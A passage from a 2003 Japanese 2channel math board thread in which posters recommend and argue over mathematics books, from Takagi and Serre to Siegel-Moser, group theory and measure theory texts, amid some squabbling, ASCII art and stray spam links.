このまえ、GO MAXIMA が薦める本読んでみたけど、面白かったよ
714 名前： １３２人目の素数さん 投稿日： 03/06/12 18:23: だって GO MAXIMA のお気に入りは
「絶対カシミール元」なんだぜ

どーいう本のセンスしてんだよ
715 名前： １３２人目の素数さん 投稿日： 03/06/12 19:39: 本のセンスなんて人それぞれでs
オレは高木貞治の初等整数論講義を中2で読んで大嫌いになりました
あれのどこが名著だ
さっぱりわからなかったぞぼけ
716 名前： １３２人目の素数さん 投稿日： 03/06/12 20:14: >>715
漏れも初めて初等整数論講義を読んだとき何で名著と呼ばれるのか分からなかった。
その後、色々と数論だけでなく勉強して、あるとき、セール「数論講義」を読んだ後に
読みなおしてみて初めて名著だったんだなぁと認識を改めた。
717 名前： １３２人目の素数さん 投稿日： 03/06/12 20:32: 中高生が読むなら名著では？
718 名前： １３２人目の素数さん 投稿日： 03/06/12 21:08: 駄本を読んで初めて名著だとわかる
719 名前： １３２人目の素数さん 投稿日： 03/06/12 21:56: >>718
ということは、セール「数論講義」は駄本なの？
720 名前： １３２人目の素数さん 投稿日： 03/06/12 22:41: 現代数学者さま
収穫と・・・シリーズを復刊してください
721 名前： １３２人目の素数さん 投稿日： 03/06/13 00:03: 高木のは彼が優れている事を理解出来るという点において名著だ。
…そんな基準は全然「名著」に当てはまらんと言われると返答に困るが。
722 名前： １３２人目の素数さん 投稿日： 03/06/13 00:54: 「人それぞれ」程度の名著と普遍的な名著と、レベルが違うんだな。
そこを判断できない人は「人それぞれ」でごまかしてしまう。

>>715-716
名著かどうか自分で判断しようと思っていると
ふと、逆に自分の技量のほうが本に問われていることに気がつく。

初心者が読めば、どこが面白いのかわからない。
勉強するにしたがって、だんだんと深さがわかってくる。

そんな本ですね。716さんはわかっていらっしゃるようですが。
723 名前： １３２人目の素数さん 投稿日： 03/06/13 00:55: >>713
＞このまえ、GO MAXIMA が薦める本読んでみたけど、面白かったよ

そりゃあれだけ紹介していたら、たまに（ry
724 名前： １３２人目の素数さん 投稿日： 03/06/13 00:57: 知的欲求を満たすから面白いわけで
そういう意味ではどんな本も面白い
よって悪書なんぞない
725 名前： １３２人目の素数さん 投稿日： 03/06/13 01:02: というわけで、722様に普遍的名著を紹介してもらいましょう。
726 名前： １３２人目の素数さん 投稿日： 03/06/13 01:04: >>724の知的欲求はどんな本によっても満たされるのだそうです。
727 名前： １３２人目の素数さん 投稿日： 03/06/13 01:04: >>725
GO MAXIMA が紹介するって。
728 名前： １３２人目の素数さん 投稿日： 03/06/13 01:05: >>724は京大M助教授のように、エロ本で代数幾何を極めます。
729 名前： １３２人目の素数さん 投稿日： 03/06/13 01:06: >>711
人の受け売りなら、逆に、微妙にずれてたりしないと思うが。
世間的に良いと言われてるものばっかり推薦しそうじゃないか。
730 名前： １３２人目の素数さん 投稿日： 03/06/13 01:09: >>727
>>722には何が普遍的名著が分からないからですか?
731 名前： １３２人目の素数さん 投稿日： 03/06/13 01:10: >>722
＞名著かどうか自分で判断しようと思っていると
＞ふと、逆に自分の技量のほうが本に問われていることに気がつく。

名著といわれているから読んでみると、意に反して良さが分からない。（ｗ
所があれこれやっている内に著者と同じ目線でその内容に対峙できるように成ってみると、
実は名著だということが分かってくるんですよね。
自分の技量が試されているというより、名著を名著たらしめているというべきかもしれませんね。
噛むほどに味が出るという。
732 名前： １３２人目の素数さん 投稿日： 03/06/13 01:19: なんか、最近
二代目数学学習マニュアル（大学生、院生編）
http://science.2ch.net/test/read.cgi/math/1015741116/l50
のほうで質問したほうがよさげな雰囲気だよな。
733 名前： １３２人目の素数さん 投稿日： 03/06/13 01:34: >>703
GO MAXIMAさんが気を悪くされると困るのだけれど、
yogen.macと書かれているのはshigen.macにした方が良いでしょう。
四元数と書いて「しげんすう」と読みます。
それだから漢字で書くので、「４元数」とは書きませんよ。
734 名前： １３２人目の素数さん 投稿日： 03/06/13 01:47: >>732
そうですね。最近、偏執的な煽りが多いですから。
「○○をやってもらいましょう。」という類も多いですし。
面倒なことをお願いする態度ではないですよね。
自分で出来ないことを人に頼むなら、もっと謙虚な態度を示すべきでしょう。
まあ、そういう当たり前のことが出来ないから厨房な訳ですが。
735 名前： GO MAXIMA 投稿日： 03/06/13 01:50: >>733
指摘ありがとう。そんなことで気を悪くはしません。

>>729
そうですね。一応自分で読んだ本のなかから紹介しています。
洋書しか普段は読みませんし、高い本はできれば紹介しないように
しています。つまり今の専門書は論文集はしかたないが、その他の
ものは内容に比して高すぎると思います、これは外国の数学屋からも
同じことを聞いてます。
736 名前： １３２人目の素数さん 投稿日： 03/06/13 02:02: >>735
聴いた話ですが、高等数学を理解できる人口比で欧米の1/5程度なんだそうです。
それでも価格的に５倍にはなっていないのでかなり無理をしているそうです。
だからといって高い本を買えとは言えませんが。

数理物理系統の本の紹介、とても参考になります。多謝。
737 名前： ○○５次方程式の解の公式○○ 投稿日： 03/06/13 02:25: >>735
＞そうですね。一応自分で読んだ本のなかから紹介しています。

|82 ：GO MAXIMA ：03/03/23 11:26
|ええっとSlodwiの注はついています。2nd revised edition, 1913.ですから。
|誤訳があって読めないとはずいぶん力のないかたですね。(w
|
|83 ：１３２人目の素数さん：03/03/23 14:10
|>>82
|Slodwiの注がどんなものか知らんが、Slodowy の注は
|2nd revised edition, 1913 にはない。
|
|まさか、ドイツ語読めないの？
|
|84 ：GO MAXIMA ：03/03/23 14:23
|英訳 Oxford 1912にあります。初版は Teubnerから 1884 当然Slodwiの注はな
|い。まあ力のないおじんはだまっていてね、
|
|85 ：１３２人目の素数さん：03/03/23 15:50
|Klein の注をつけた Slodowy はたぶん今60歳くらいかな。
|話す気ないみたいだし、ま、いいや。
|
|86 ：１３２人目の素数さん：03/03/23 17:24
|>>85
|お前うざいよ。

　　　　　　嘘　丸　出　し
738 名前： １３２人目の素数さん 投稿日： 03/06/13 02:31: あらあら
739 名前： 722 投稿日： 03/06/13 02:33: >>731
まあ、そういうことを言いたかったんですけどね。
著者に「お前もやっと俺の本の良さがわかってきたか」と
直接語られているような。

未熟な頃は生意気だから「あんな本どこがいいんだ」みたいなことを
つい言ってしまう。わかっている人は「あいつもまだまだだな」と
思っていただろう。今になると恥ずかしい。
740 名前： １３２人目の素数さん 投稿日： 03/06/13 02:37: >>737
まあ
> 「一応」自分の読んだ本のなかから紹介しています
だし。そんな、つんけんしなさんなや。
741 名前： １３２人目の素数さん 投稿日： 03/06/13 02:47: >>722
「人それぞれ」「普遍的」ってのが大体どれくらいのを指してるのか
だけでも教えてくれんか？
「お前の経験から推し量れ」って感じの分からない人には分からないレスで
済まされるようじゃ、別の意味で「○○で質問した方がよさげだな」になってしまうぞ。
742 名前： １３２人目の素数さん 投稿日： 03/06/13 03:00: 俺は「一応」GO MAXIMA 肯定派なんだがな。

２ちゃんだから面白いネタを提供してくれれば、Klein の２０面体の本の
時みたいな勇み足があっても良いと思う（ま、読んでないのだろう）。
737 みたいな晒し上げも、ネタとしてオツ（ｗ
743 名前： １３２人目の素数さん 投稿日： 03/06/13 03:05: 著者の創意工夫が勉強するにしたがって理解できていく、
だからって「普遍的名著」とは、ちと大げさよ。
744 名前： １３２人目の素数さん 投稿日： 03/06/13 03:20: >>739
数学に限らずそういう生意気なことを若さゆえにやってしまいますよね。
一生そういう態度が抜けない人もいるけれど。
でも、自分の専門分野に対して早く謙虚に成れるといい仕事が出来ると思う。
どの分野であれ一流の人が自分の能力（なり時間が足りないこと）を嘆いたり
する話を聞きますよね。
つまりスタートラインにさえ着けない苛立ちや自分の非力さの自覚を表わしているんでしょうね。

そんなことから一流の人でもそうなんだから漏れも頑張ろうと自分を戒めることがあります。
745 名前： GO MAXIMA 投稿日： 03/06/13 03:26: >>737
四月にでる本と紹介してあるだろう。そのときはでてないの。
英訳本の旧版は読んでるんだよ。
Doverが再販するんで新しい版と誤解しただけ、
もうしつこい輩だ。
746 名前： １３２人目の素数さん 投稿日： 03/06/13 03:28: >>743
たぶん勉強したら著者がしかけていた仕掛けとか裏が見えるようになって
なるほどこれは面白いと思えるのが「普遍的名著」なんじゃないのかな。
なるほどと書いたけど、その先に繋がっていることが
実はちゃんと問題意識を持って書いてあるので、
後でなるほどと思うということなんだけど。

まあ、GO MAXIMAさんの趣旨とは違うのかもしれないけど。
747 名前： １３２人目の素数さん 投稿日： 03/06/13 03:34: 翔太＠中一 VS. GO MAXIMA

ROUND ONE!

カ～ン！
748 名前： 翔太＠中一 投稿日： 03/06/13 03:36: たしざんわかんないよ～（涙）
749 名前： １３２人目の素数さん 投稿日： 03/06/13 03:45: >>745
GO MAXIMA、必死だな。一つの嘘を隠すために新た（ry

＞英訳本の旧版は読んでるんだよ。
＞英訳 Oxford 1912にあります。（注釈が）

「一応」読んだが、注釈があるかどうかまで読み取れなかった、と。
どの「英訳本の旧版」を読んだのか、小一時間（ry
750 名前： 翔太＠中一 投稿日： 03/06/13 03:49: 2次方程式はまだよくわからないけど、正20面体群の不変式を使って
5次方程式は解けるようになりました。

2次方程式はどの群の不変式を使えば解けるのですか。わかんないよ～
751 名前： １３２人目の素数さん 投稿日： 03/06/13 03:49: >>749
＞GO MAXIMA、必死だな。

誰が見ても
オマエモナ～（ｗ
752 名前： １３２人目の素数さん 投稿日： 03/06/13 03:52: 僕の愛しき恋人、GO　MAXIMA様をこれ以上いじめないでください。
753 名前： １３２人目の素数さん 投稿日： 03/06/13 03:57: 翔太＠中一 VS. 次世代のワイルズ

ROUND ONE!

カ～ン！
754 名前： １３２人目の素数さん 投稿日： 03/06/13 04:02: アウト！セーフ！よよいのよい！
755 名前： １３２人目の素数さん 投稿日： 03/06/13 04:04: 翔太＠中一 VS. GO MAXIMA
翔太＠中一 VS. 次世代のワイルズ

ともに、5次方程式が解ける翔太＠中一の勝ち。
756 名前： １３２人目の素数さん 投稿日： 03/06/13 04:06: 翔太＠中一 VS. mathmania

ROUND ONE!

カ～ン！
757 名前： １３２人目の素数さん 投稿日： 03/06/13 04:07: >>752
ｹｺｰﾝしる！
758 名前： １３２人目の素数さん 投稿日： 03/06/13 04:37: ウザイよお前等
759 名前： 722 投稿日： 03/06/13 15:43: >>741
教えてクンにしては偉そうじゃないか。じゃあ、
「人それぞれ」萩原雄祐天体力学の基礎
「普遍的」Siegel-Moser Vorlesungen uber Himmelsmechanik

後者は、英訳 "Lectures on celestial mechanics" あり。

数学科の（まともな）学部生以上なら読める本を選んだので、
教えてクンはとっとと卒業して自分で読んでみた上で、ご意見ください。
760 名前： １３２人目の素数さん 投稿日： 03/06/13 15:54: 一度は売り飛ばした解析概論
また欲しくなった・・・
761 名前： 大滝村 ◆mygAWRCTDY 投稿日： 03/06/13 19:52: 佐武一郎
762 名前： １３２人目の素数さん 投稿日： 03/06/13 19:53: >>759
こういう輩を甘やかすとろくな事が無い。
教えてやる必要無いじゃない。
黙ってスルーすれば良いのに。
あなたはいい人だな、まったく。
763 名前： 741 投稿日： 03/06/13 22:16: >>759のチョイスはワザと相手が読んだ事のない本を選んでいる気がしてならんぞ。
そんなに759は他人が読む事を想定しないレスをしたいのか？

まぁ読んでみる事にする。本を挙げた事に対しては純粋に感謝する。
764 名前： (－σ)y─┛~~ 投稿日： 03/06/13 23:13: >>718
セールの本はどれも，「簡にして要を得た」って感じ．それだけに初学者に向いてるとは言い難いね．
「数論講義」は，二次形式論を軸にして，数論のさまざまな手法を短いページ数で要領よくまとめた
感じの本．なので，いっぱしの知識を持った人が数論の手法を知るためにもってこいの本だけど，
そうでない人には，結局何が言いたいの？って感じなんだろうね．
765 名前： 大滝村 ◆mygAWRCTDY 投稿日： 03/06/13 23:24: 高木貞二　解析概論の軽装版は使いやすいですか？
現在ハードカバーが家にあります。
持ち運びしにくいのが不便です。
766 名前： １３２人目の素数さん 投稿日： 03/06/14 00:28: >>764
お分かりとは思いますが、
>>716と>>718は別人です。
御間違えの無きように。
767 名前： (－σ)y─┛~~ 投稿日： 03/06/14 01:36: >>766
>>764は>>719にレスをつけたつもりだったんだけどね．送信してから間違いに気づいたんだけど，
そんなに変じゃないだろーって思って，訂正しませんでした．
気を悪くしたらごめんなさいよ．
768 名前： １３２人目の素数さん 投稿日： 03/06/14 01:48: >>763
萩原雄祐の本は「数学の楽しみ」25号で、Siegel-Moser は同じく14号での
「名著発掘」のコーナーで紹介されているくらいの、ごく当たり前の本
ではないかい？

＞ワザと相手が読んだ事のない本を選んでいる気がしてならんぞ。

意味不明。
769 名前： １３２人目の素数さん 投稿日： 03/06/14 01:48: >>767
いえいえ、気を悪くなどしていません。
「『自分へのレス？』…ではないよなあ。」と思ったのでちょっと確認してみました。
770 名前： １３２人目の素数さん 投稿日： 03/06/14 07:36: >>768
責めてこのスレで普通に反応が付くほどの本を挙げる事は出来んのか？君には
771 名前： 770 投稿日： 03/06/14 07:36: 「が付くほど」だと拙いので「が付いたほど」に訂正。
772 名前： １３２人目の素数さん 投稿日： 03/06/14 07:44: >>768
> 萩原雄祐の本は「数学の楽しみ」25号で、Siegel-Moser は同じく14号での
> 「名著発掘」のコーナーで紹介されているくらいの、ごく当たり前の本
> ではないかい？
でその｢当たり前の本」を自分でよんだの？
773 名前： １３２人目の素数さん 投稿日： 03/06/14 12:31: mathmania がシロート相手に演説ぶってるよ

【社会】99年前の数学の難問ポアンカレ予想　解決か
http://news2.2ch.net/test/read.cgi/newsplus/1055554226/
774 名前： mathmania ◆uvIGneQQBs 投稿日： 03/06/14 12:40: 何を言うか。私は、問題の説明をしただけだ。
てゆうか、向うの人はしろうとだったのか。
とりあえず、ポアンカレ予想の参考書っていつ発行されるのだろう？
775 名前： １３２人目の素数さん 投稿日： 03/06/14 12:41: みてね～♪
http://www1.free-city.net/home/s-rf9/page003.html
776 名前： １３２人目の素数さん 投稿日： 03/06/14 12:50: 岩波講座基礎数学解析学（Ⅰ）ⅳ関数解析Ⅰ～Ⅲ（藤田宏、黒田成俊、伊藤清三著）ってどーなの？
こないだ書林ふくろうで新品同様３巻セットにて￥２，７００で有ったんだけど。
777 名前： １３２人目の素数さん 投稿日： 03/06/14 13:33: >>776 漏れも持っているが生憎読んだこと無いんでなんとも言えない。
漏れは、吉田耕作のFunctional Analysis (Springer)で勉強したもので・・・
778 名前： １３２人目の素数さん 投稿日： 03/06/14 13:49: Selbergの全集のⅠ、再版されたよ！！
779 名前： １３２人目の素数さん 投稿日： 03/06/14 14:13: >>774
> ポアンカレ予想の参考書

arXiv から出てるプレリント読めタコ
780 名前： １３２人目の素数さん 投稿日： 03/06/14 14:59: ＞「ポアンカレ予想物語」本間龍雄(著)
これ、内容を追加した改訂版が出てくれない物か
781 名前： １３２人目の素数さん 投稿日： 03/06/14 15:18: 吉永良正がどんどんまちがった方向にいってるな
やっぱ哲学入ったせいかな

山下純一の方が好感がもてる

研究者と一般者の橋渡しをする
数学ライタの必要性はおおいにあると思うが．
782 名前： １３２人目の素数さん 投稿日： 03/06/14 16:18: 吉永さんの書いた文章さえ最近、見ないなぁ。

Rogerさん、アマゾンでリスト作りまくってるけれど、
激しく幾何と代数に偏ってて、あんま今風じゃないね。
783 名前： 722 投稿日： 03/06/14 16:30: >>768
Siegel-Moser の書評は知っていたが、萩原雄祐「天体力学の基礎」
の書評は知らなかった。Siegel-Moser に対比するために出したもの。

>>770-772
直接、私あてではないようだが。
そういうレスは予想の範疇。まあ、しっかり勉強してください。
784 名前： １３２人目の素数さん 投稿日： 03/06/14 17:42: >>782
Rogerさんって誰？

今風ってどういう分野？あなたの専門分野かな？
785 名前： １３２人目の素数さん 投稿日： 03/06/14 17:53: >>784
> Rogerさんって誰？
二代目数学学習マニュアル（大学生、院生編）
http://science.2ch.net/test/read.cgi/math/1015741116/
これの初代スレッドで活躍した人。
786 名前： １３２人目の素数さん 投稿日： 03/06/14 18:09: >>785
さんくす。
２ちゃんねらーなんですね。（藁
どこかの先生かと思った。
いや、実はそうなのかな？まあ、どうでもいいけど。

で、今風ってどういう分野ですか？>>782
787 名前： うんこぶりぶりー 投稿日： 03/06/14 18:52: やっぱ数論的代数幾何でしょう！！
788 名前： 763 投稿日： 03/06/14 20:37: >>783
つまり、770,772の双方の質問の答えに「YES」であるという事だね。
しかし勝手ではあるが、出来ればこれからは722のような
自分の中でしか定義されてない言葉を使った説明をしないで頂けると嬉しい。
ただこれだけの事に多くのレスを費やしてしまった事は反省する。
789 名前： １３２人目の素数さん 投稿日： 03/06/14 21:42: Lie群・Lie環でも暴れていたよね。>>788

＞528 ：503 ：03/06/01 06:55
＞「んじゃ誰？」って言い方が拙かったか。敏感な人を刺激してしまった。
＞妄想で人のタイプ分けしたりレスの形式自体を責めたりとそういう下らない事に
＞本気になって貰いたくないし、これからはもうちょっと気をつける事にするよ。

＞564 ：１３２人目の素数さん：03/06/03 19:37
＞>>563
＞分かった。降参だ。
＞
＞しかし図々しい願いだが、粘着し続けるのをやめて貰いたい。
790 名前： １３２人目の素数さん 投稿日： 03/06/14 22:13: Carl Ludwig Siegel ,J.K. Moser "Lectures on Celestial Mechanics" Springer
ttp://www.amazon.co.jp/exec/obidos/ASIN/3540586563/qid=1055595987/sr=1-4/ref=sr_1_0_4/249-3201986-7805966
791 名前： 763 投稿日： 03/06/15 00:39: >>789
「YES」ではあるけど…何でそんな意味の無い事を聞くの？
792 名前： １３２人目の素数さん 投稿日： 03/06/15 18:41: あちこちのスレで無意味に暴れまわるのは自重していただきたいものでつね
793 名前： １３２人目の素数さん 投稿日： 03/06/15 20:01: そういうのはあんま気にしないのが吉かと
794 名前： １３２人目の素数さん 投稿日： 03/06/15 23:33: 粘着しなければ気にしないんだがな
795 名前： １３２人目の素数さん 投稿日： 03/06/15 23:45: 互いにレスを自重すれば争いなんて起きないのだろが
それは難しいんだろな。
796 名前： １３２人目の素数さん 投稿日： 03/06/16 01:11: 自分から絡んで粘着したあげくに
自分が被害者のような発言の数々

レスするまでしつこいのも迷惑

Lectures on Celestial Mechanicsを読み終わるまで来るな
797 名前： １３２人目の素数さん 投稿日： 03/06/16 07:57: アフォを放置できない人が沢山いて困りますね。
798 名前： １３２人目の素数さん 投稿日： 03/06/16 10:08: 解析概論って、数学的欠陥があるんですか？
あるとすればどの程度欠陥がありますか？
799 名前： １３２人目の素数さん 投稿日： 03/06/16 12:55: 個人的にゃその本を読める人の殆どにとって素晴らしい本であるのが
名著である気がするけど、そこら辺は言葉の定義の問題だろうな。
800 名前： ぼるじょあ ◆yBEncckFOU 投稿日： 03/06/16 18:21: 　　.∧ ∧ 　　／￣￣￣￣￣￣￣￣￣￣￣
　　( ・３・) ＜ぼるじょあがｺｿｰﾘ800ｹﾞﾄｰ
　　./ つつ　＼＿＿＿＿＿＿＿＿＿＿＿
～（＿⌒ヽ
　　　.)ノ｀J
　　ｺｿｰｰｰｰｰﾘ
801 名前： １３２人目の素数さん 投稿日： 03/06/16 23:00: 　　 ∧＿∧　　　　　　　　　　　　（(
　　（　ﾟдﾟ）　　　　　　　　　　）　)
　　／　　　＼　　　　　　　　　　ノ
　　| |　　　　 | ＼　　　　　　　(（　　((
　　| |　/⌒|⌒|ヽ二二つ　　　）　　　　）　丿
　　ヽ二二Ο./　　　　　＼　（( ( （・３・）ノ
　　（＿|　|_|　|_　　　　　　　＼　∴∵
　　　 .（＿_)＿_)　　　　　　　／/》||ヾミ＼
802 名前： ぼるじょあ ◆yBEncckFOU 投稿日： 03/06/16 23:10: 　　　　　　　　　　　　　　　　　　　　　　　　　　　　,,从.ノ巛ミ　　　　彡ミ彡）ミ彡ミ彡ミ彡）ミ彡)''"
　　　　　　　　　　　　　　　　　　　　　　　　　人ノ゛ ⌒ヽ　　　　　　　　　　　　彡ミ彡）ミ彡）ミ彡)''"
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803 名前： １３２人目の素数さん 投稿日： 03/06/17 00:56: 佐藤超関数に触れた本はこれからも出るだろか？
804 名前： １３２人目の素数さん 投稿日： 03/06/17 11:47: 　　　　　　　　　　　　　　　　　　　　　　　　　　　　,,从.ノ巛ミ　　　　彡ミ彡）ミ彡ミ彡ミ彡）ミ彡)''"
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805 名前： １３２人目の素数さん 投稿日： 03/06/17 12:53: すみません
806 名前： １３２人目の素数さん 投稿日： 03/06/17 17:11: 岩波の「応用数学講座」のシリーズが単行本かされてますね。
807 名前： １３２人目の素数さん 投稿日： 03/06/17 20:19: 黒田成俊先生の微分積分（共立出版・21世紀の数学）はどうですか？
808 名前： １３２人目の素数さん 投稿日： 03/06/18 00:42: 　　　　　　　　　　　　　　　　　　　　　　　　　　　　,,从.ノ巛ミ　　　　彡ミ彡）ミ彡ミ彡ミ彡）ミ彡)''"
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809 名前： １３２人目の素数さん 投稿日： 03/06/18 13:40: >>807
けっこう良く書けてると思うよ。
杉浦ほどゴツくないし、溝畑ほど高くもないし、高木ほど古くもない
（小平は読んだことないから分からない）。
将来数学をやりたければ杉浦を買った方が辞書的に使えて良いかも知れんが、
数学を使うことを主眼に置くなら買っても損はなさそう。
810 名前： １３２人目の素数さん 投稿日： 03/06/18 16:50: http://www.geocities.co.jp/Technopolis-Mars/7997/171.html
ポストモダン解析学、結構コンパクトにまとめられてて分かりやすかったのに
何故こんな評価が…漏れはアホなのか。アホか。
811 名前： １３２人目の素数さん 投稿日： 03/06/18 20:42: >>810
そこに書いてあるのはタダのネタで要するにウソ
漏れも「ポストモダン解析学」はいい本だと思う。タイトル以外はね
812 名前： １３２人目の素数さん 投稿日： 03/06/19 17:17: >>810
私個人の意見では、特に良書とは思わないなぁ。
図書館で、同レベルの本を借りるなら、「ポストモダン解析学」は選ばないだろう。
813 名前： １３２人目の素数さん 投稿日： 03/06/19 20:28: じゃ、あんたは何選ぶの？
814 名前： １３２人目の素数さん 投稿日： 03/06/19 23:14: ラドン測度について書かれた本を教えてください。
815 名前： １３２人目の素数さん 投稿日： 03/06/19 23:48: >>814
これで決まり！
http://store.yahoo.co.jp/digiconeiga/tdv-2594d.html
816 名前： 810 投稿日： 03/06/20 01:29: まぁ自分は810ではあんな事を言いつつRudinのFunctional Analysisで勉強しようとしてる訳だが。
817 名前： １３２人目の素数さん 投稿日： 03/06/20 01:46: >>815
DVDの「空の大怪獣ラドン」デシ。ｶｸｶｸ
818 名前： １３２人目の素数さん 投稿日： 03/06/20 09:38: >>810
ｹﾞﾛﾜﾛﾀ
819 名前： １３２人目の素数さん 投稿日： 03/06/20 09:58: ＞ 523 名前：１３２人目の素数さん投稿日：03/05/31 09:41
＞Calculus
＞James Stewart
＞http://www.amazon.co.jp/exec/obidos/ASIN/053413212X/
＞↑
＞この本は何でこんなに安いの？
＞995pでハードカバーなのに￥312て・・・・安すぎる
＞事情を知ってる人は教えて
＞
＞
＞ 524 名前：１３２人目の素数さん投稿日：03/05/31 09:48
＞ちなみに523の本はアメリカの主要大学で
＞初年度に使われている教科書
＞
＞
＞543 名前：１３２人目の素数さん投稿日：03/05/31 17:01
＞>>523
＞--このレビューは、同タイトルのハードカバーのレビューから転載されています。
＞ってとこが二ヵ所あるが、上のほうを開くと、￥16,148 で 10p の本が…。
＞http://www.amazon.co.jp/exec/obidos/ASIN/053439339X/
＞これは 5th で 2002/12/20 に出たようだけど、
＞4th の 1999/05/21 に出たので￥6,615 で 1185p となってるのもあるね。
＞http://www.amazon.co.jp/exec/obidos/ASIN/0534359493/

その本をﾈﾀで買ってみた｡
到着は4～6週間後ら氏いが､ﾊｰﾄﾞｶﾊﾞｰで995頁ったら厚さ何cmくらいだろ?
そして内容はやはり計算問題ばかりなのだろうか｡
820 名前： １３２人目の素数さん 投稿日： 03/06/20 14:42: 届いたら報告きぼんぬ
821 名前： １３２人目の素数さん 投稿日： 03/06/20 15:50: >>523-524 >>526-527 >>543 >>574 >>578 >>819-820
822 名前： １３２人目の素数さん 投稿日： 03/06/21 12:22: ハーディの数論入門使ってる人居ますか？
823 名前： １３２人目の素数さん 投稿日： 03/06/23 00:57: "動く曲面を追いかけて"儀我美一　陳蘊剛 (1996)
何かを読んでみる。
824 名前： １３２人目の素数さん 投稿日： 03/06/23 19:02: いま、怠け数学者の記を読んでます。
825 名前： １３２人目の素数さん 投稿日： 03/06/24 03:28: 群論のお薦めは何ですか？
826 名前： １３２人目の素数さん 投稿日： 03/06/24 03:55: 厳選サイト
http://pleasant.free-city.net/
827 名前： １３２人目の素数さん 投稿日： 03/06/24 05:48: >>825
学部初年級もしくは代数を非専門とするならば
『郡の発見』岩波
を読んだのちに
『代数系入門』岩波
に進むのがベター．
代数を専門にするならば，鈴木の『群論（上・下）』がよろしいでしょう．
ただし手に入りにくい状態になっていますが．
828 名前： １３２人目の素数さん 投稿日： 03/06/24 09:46: 台数系入門なら１年でも読めるやん。
829 名前： １３２人目の素数さん 投稿日： 03/06/24 16:07: 825は準同型定理まで理解できれば十分なのか
それともモンスターとかまでやりたいのか、
それによってふさわしい本はガラリと変わる。
830 名前： １３２人目の素数さん 投稿日： 03/06/24 20:54: >>827
すみません、便乗質問です。

近藤武さんの「群論」はどんなスタイルでしょうか?
専門家向けの重厚な記述ですか?
831 名前： １３２人目の素数さん 投稿日： 03/06/24 22:25: お尋ねしたいのですが小中学の算数＆数学を復習したいと考えていますが
「小学校6年分の算数が7時間でわかる本」
http://www.amazon.co.jp/exec/obidos/ASIN/4870306174/qid=1056459393/sr=1-5/ref=sr_1_2_5/250-1494209-8409834
「中学3年分の数学が14時間でマスターできる本」
http://www.amazon.co.jp/exec/obidos/ASIN/4870305739/ref=pd_bxgy_text_2/250-1494209-8409834
これらの本で大丈夫でしょうか？
832 名前： １３２人目の素数さん 投稿日： 03/06/25 01:44: あと「群」を勉強したい人に、素粒子論とかの関係でSO(3)とかを知りたい人もいますよね。

>>830
教科書。とは言え「チャート式」のように至れり尽くせりではなく、自分で手を動かしながら読む本。
そこそこ例も載ってるし、証明の行間はそんなに広くない。
833 名前： １３２人目の素数さん 投稿日： 03/06/25 03:02: >>830
岩波基礎数学選書のやつかな？
漏れの周りで読んでる香具師がいるが，鈴木の群論の方がいいようだ．
カバーしている範囲は両方ともさして変わらない（鈴木本のほうが広いけど）が，
説明の丁寧さや，証明の厳密さでは鈴木本のほうがよい．
ただ，入手困難なので岩波基礎数学選書で頑張るのが現実的かもね．
その本もいつ入手不可になるかわかんないしなあ・・・．岩波だしｗ
834 名前： ヴァカ 投稿日： 03/06/25 03:40: >>831
あなたが個人的にとても気になる今日この頃。
835 名前： １３２人目の素数さん 投稿日： 03/06/25 07:24: >>831
釣られておくが，志賀先生の数学1，数学2，数学3・・・のシリーズにしとけ．
836 名前： １３２人目の素数さん 投稿日： 03/06/25 07:34: 横田「群論入門」が最もわかりやすいよ　例も豊富
837 名前： １３２人目の素数さん 投稿日： 03/06/25 09:27: >>834&>>835
すいません、普通の学生です。
ここの方々のように大学の数学科など出てるわけではありません。
ただの素人です。（汗

書き込むスレが悪かったですね・・・。
反省します。
838 名前： _ 投稿日： 03/06/25 09:28: http://homepage.mac.com/hiroyuki44/
839 名前： １３２人目の素数さん 投稿日： 03/06/25 16:58: 測度論に基づく確率論の本でいいのがありませんか？
当方地方在住のため数学書が置いてある本屋がないんで、
アマゾンから買うことになるんですが、さすがに中身を見ないで買うのは気が引けるので、
こちらでお勧めの本をお聞きしたいのですが。
840 名前： １３２人目の素数さん 投稿日： 03/06/25 17:11: >839
初心者であれば
西尾真喜子：「確率論」実教出版
から読むのがいいと思う。
841 名前： 839 投稿日： 03/06/25 18:14: >>840
ありがとう。
842 名前： １３２人目の素数さん 投稿日： 03/06/25 18:38: 多様体について学ぶのに何かいい本はありませんか?
843 名前：加奈 ◆yBEncckFOU 投稿日： 03/06/25 19:01: >>842
初心者なら「多様体の基礎　松本　東大出版」が良いと思います。
かったるい本ですが、非常に読みやすく書かれています。
844 名前： １３２人目の素数さん 投稿日： 03/06/25 19:02: ☆可愛い彼女が貴方のために・・・☆
↓　↓　↓☆見て見て☆↓　↓　↓
http://yahooo.s2.x-beat.com/linkvp/linkvp.html
845 名前： １３２人目の素数さん 投稿日： 03/06/25 19:48: ルベーグ積分の入門には
ルベグ積分入門新数学シリーズ 23　吉田洋一
がよいといわれましたが、1965年出版なのでちょっと心配です。最近の本でなにかいいものがあれば教えて頂けないでしょうか。
846 名前： １３２人目の素数さん 投稿日： 03/06/25 19:50: >>845
ここ40年で、ルベーグ積分論の内容が変わったのですか？
847 名前：加奈 ◆yBEncckFOU 投稿日： 03/06/25 20:30: >>845
教養程度なら「ルベーグ積分から確率論　志賀　共立」の前半部分がかなり良いです。
もう少し本格的にやりたいのなら「測度と積分　折原　ｼｮｳｶﾎﾞｳ」が良いです。
後者の測度論のところの論理展開は物凄く綺麗かつ読みやすいです。
どちらの本も積分の具体例が豊富で、ルベーグ積分論の定理を理解するのに役立ちます。
848 名前： 845 投稿日： 03/06/25 22:01: >>847
どうもありがとうございます。
849 名前： 842 投稿日： 03/06/25 22:27: >>843
ありがとうございます
読んでみます
850 名前： １３２人目の素数さん 投稿日： 03/06/25 23:24: Introduction to the Theory of Statistics / Alexander McFarlane Mood (著)
という本はどのような内容でしょうか？

説明が省略なしに丁寧になされている, と紹介されていましたが
証明なども端折らずにかかれているのでしょうか？
851 名前： １３２人目の素数さん 投稿日： 03/06/26 00:01: >>850
読んだことないけど、明日図書館で見てきてリビューしようか？
852 名前： １３２人目の素数さん 投稿日： 03/06/26 00:04: >>851
TeX で打ってうｐキボン。
853 名前： 851 投稿日： 03/06/26 00:18: >>850
ところで、どういう目的で統計学を勉強しようとしてるの？
その目的にあってるか否かっていう風に教えるだけなら楽なんだけど。
854 名前： 850 投稿日： 03/06/26 00:42: >>851
PC で大量のデータを分析する必要があり, ウェブで調べて当面の目的は達成したのですが
調べているうちに統計そのものが面白くなってきたので, 何かよい本はないかと思いまして.

統計の基礎的な話題が載っており, 定理と証明 (の流れ) が省略されていない
のが望ましいです. 一言で言うと数学屋の喜びそうな内容がよいです.
